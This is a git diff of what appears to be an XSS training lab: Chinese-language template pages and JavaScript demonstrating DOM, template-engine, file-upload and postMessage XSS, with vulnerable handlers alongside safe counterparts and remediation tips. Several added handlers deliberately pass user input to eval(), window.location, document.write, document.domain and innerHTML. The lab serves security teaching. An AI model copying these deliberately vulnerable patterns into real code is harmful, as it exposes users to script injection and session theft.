form.on('submit(safe-dom-command)', function (data) { + var actions = { + showTime: function () { + return '当前时间:' + new Date().toLocaleString(); + }, + showLocation: function () { + return '当前路径:' + window.location.pathname; + } + }; + var action = actions[data.field.safeCommand]; + document.getElementById('safe-dom-result').textContent = action ? action() : '未知命令,拒绝执行'; + return false; + }); + + form.on('submit(safe-dom-node)', function (data) { + var result = document.getElementById('safe-dom-result'); + result.textContent = ''; + result.appendChild(document.createTextNode(data.field.safeNodePayload)); + return false; + }); }); }); @@ -235,6 +447,69 @@

            缺陷代码

            }); }); + // Location对象XSS + layui.use(['form'], function () { + var form = layui.form; + form.on('submit(location-xss)', function(data) { + var payload = data.field.locationPayload; + // 故意使用不安全的方式处理location + var result = 'Location对象当前值:
            ' + + 'Hash: ' + location.hash + '
            ' + + 'Search: ' + location.search + '
            ' + + 'Pathname: ' + location.pathname; + document.getElementById('vul-dom-raw-result').innerHTML = result; + // 将payload添加到URL并执行 + window.location = payload; // 直接赋值给location以执行javascript:协议 + return false; + }); + }); + + // Eval执行XSS + layui.use(['form'], function () { + var form = layui.form; + form.on('submit(eval-xss)', function(data) { + var payload = data.field.evalPayload; + try { + // 故意使用不安全的方式执行代码 + var result = eval(payload); + document.getElementById('vul-dom-raw-result').innerHTML = 'Eval执行结果: ' + result; + } catch(e) { + document.getElementById('vul-dom-raw-result').innerHTML = 'Eval执行错误: ' + e.message; + } + return false; + }); + }); + + // Document对象XSS + layui.use(['form'], function () { + var form = layui.form; + + // document.write测试 + form.on('submit(document-write)', function(data) { + var payload = data.field.documentPayload; + document.getElementById('vul-dom-raw-result').innerHTML = 'Document.write执行内容:
            ' + payload; + // 故意使用不安全的document.write + setTimeout(function() { + document.write(payload); + document.close(); + }, 1000); + return false; + }); + + // document.domain测试 + form.on('submit(document-domain)', function(data) { + var payload = data.field.documentPayload; + try { + // 故意使用不安全的方式设置domain + document.domain = payload; + document.getElementById('vul-dom-raw-result').innerHTML = 'Domain已设置为: ' + document.domain; + } catch(e) { + document.getElementById('vul-dom-raw-result').innerHTML = '设置Domain失败: ' + e.message; + } + return false; + }); + }); + diff --git a/src/main/resources/templates/vul/xss/other.html b/src/main/resources/templates/vul/xss/other.html index 8929edf..9436072 100644 --- a/src/main/resources/templates/vul/xss/other.html +++ b/src/main/resources/templates/vul/xss/other.html @@ -10,7 +10,7 @@ 跨站脚本攻击 - 其他场景
            -
              其他场景:包含模版引擎解析问题、文件上传特殊文件类型、第三方依赖问题(供应链安全)...
            +
              其他场景:包含模板引擎不安全渲染、可执行/可解析文件上传、第三方组件漏洞,以及WebSocket、postMessage等HTML5通信场景中的XSS。
            @@ -18,20 +18,38 @@
            -

            漏洞场景:模版引擎解析问题

            + +

            + 漏洞场景:模板引擎不安全渲染 + + +
            + +
            +
            + +

            +
              -
            • th:html
            • +
            • th:utext
            • th:text
            -
            -
            @@ -59,11 +77,13 @@

            漏洞场景:模版引擎解析问题
            -
            -
            @@ -82,9 +102,9 @@

            漏洞场景:模版引擎解析问题
            tips
            -
            th:text用于展示纯文本,会对特殊字符进行转义
            -th:utext则不进行转义,直接展示原始HTML内容
            -当获取后端传来的参数中带有HTML标签时,th:text不会解析这些标签,而th:utext 会解析并渲染它们。这类似于Vue中的v-text和v-html
            +
              th:text用于展示纯文本,会对特殊字符进行转义,适合普通文本输出
            +  th:utext不会进行HTML转义,会直接把内容作为HTML渲染,只有在内容可信或已被白名单净化时才应使用
            +  当后端传入参数中带有HTML标签时,th:text不会解析这些标签,而th:utext会解析并渲染它们。这类似于Vue中的v-text和v-html

            @@ -105,7 +125,11 @@

            漏洞场景:模版引擎解析问题
            -

            缺陷代码

            + +

            + 缺陷代码 +

            +
            @@ -117,7 +141,34 @@

            缺陷代码

            -

            漏洞场景:文件上传导致存储XSS

            +

            + 漏洞场景:文件上传导致存储XSS + + + + + + + +
            + +
            +
            + +

            • HTML
            • @@ -183,11 +234,9 @@

              漏洞场景:文件上传导致存储XSS<
              tips
              -
              -除了文件上传导致存储XSS,xml场景下还需要后端进行xml解析
              -这里PDF型XSS实际是没有危害的,考虑到合规监管问题,还是放上去了
              -PS:除此之外,还有flash等漏洞场景,后续会补充
              -                                            
              +
                文件上传类XSS通常出现在上传内容可被浏览器直接解析,或后端/预览服务会解析文件内容的场景
              +  HTML/SVG如果以可执行内容类型访问,可能直接执行脚本;XML场景常见于后端解析或前端预览;PDF脚本执行能力受阅读器和浏览器实现限制,通常风险较低但仍适合作为文件内容安全案例
              +  修复方向:限制后缀与MIME、校验文件魔数、使用随机文件名、独立文件域名、强制下载或设置安全Content-Type,并对可预览内容做净化

            @@ -204,8 +253,11 @@

            漏洞场景:文件上传导致存储XSS<

            +
            - - - - - diff --git a/src/main/resources/templates/vul/xss/postmessage/receiver.html b/src/main/resources/templates/vul/xss/postmessage/receiver.html new file mode 100644 index 0000000..a60b233 --- /dev/null +++ b/src/main/resources/templates/vul/xss/postmessage/receiver.html @@ -0,0 +1,54 @@ + + + + + PostMessage XSS Receiver + + + + +
            +
            +
            PostMessage XSS演示 - 接收端
            +
            +
            等待接收消息...
            +
            +
            +
            + + + + diff --git a/src/main/resources/templates/vul/xss/postmessage/sender.html b/src/main/resources/templates/vul/xss/postmessage/sender.html new file mode 100644 index 0000000..0764194 --- /dev/null +++ b/src/main/resources/templates/vul/xss/postmessage/sender.html @@ -0,0 +1,47 @@ + + + + + PostMessage XSS Sender + + + +
            +
            +
            PostMessage XSS演示 - 发送端
            +
            +
            +
            + +
            + +
            +
            +
            +
            + +
            +
            +
            +
            +
            +
            + + + + + diff --git a/src/main/resources/templates/vul/xss/reflect-safe.html b/src/main/resources/templates/vul/xss/reflect/safe.html similarity index 87% rename from src/main/resources/templates/vul/xss/reflect-safe.html rename to src/main/resources/templates/vul/xss/reflect/safe.html index 04d1950..aa482c5 100644 --- a/src/main/resources/templates/vul/xss/reflect-safe.html +++ b/src/main/resources/templates/vul/xss/reflect/safe.html @@ -12,8 +12,8 @@
            -
              XSS(跨站脚本攻击)利用浏览器对服务器内容的信任,攻击者通过在网页中注入恶意脚本,使这些脚本在用户的浏览器上执行,从而实现攻击。常见的XSS攻击危害包括窃取用户会话信息、篡改网页内容、将用户重定向到恶意网站,以及执行恶意操作(如点击劫持和钓鱼攻击)
            -  反射型XSS:攻击者通过在URL参数中注入恶意脚本,使服务器将该脚本直接反射回用户浏览器并执行。该攻击一般不涉及数据库,而是通过服务器处理用户请求时立即返回恶意内容
            +
              XSS(跨站脚本攻击)的本质是:不可信数据进入页面执行上下文后,被浏览器当作脚本或可执行HTML解析。修复时不要只依赖“过滤某个关键词”,而要结合输入校验、上下文输出编码、模板安全用法和CSP等多层防护。
            +  反射型XSS:攻击载荷通常来自URL参数、表单、Header或路径等请求数据,服务端未做合适的输出编码或上下文处理,就把载荷立即返回到响应页面中执行。该类型通常不依赖数据库,特点是“请求即触发”。
            @@ -21,7 +21,7 @@
            -

            安全场景:用户输入验证和过滤

            +

            安全场景:用户输入白名单过滤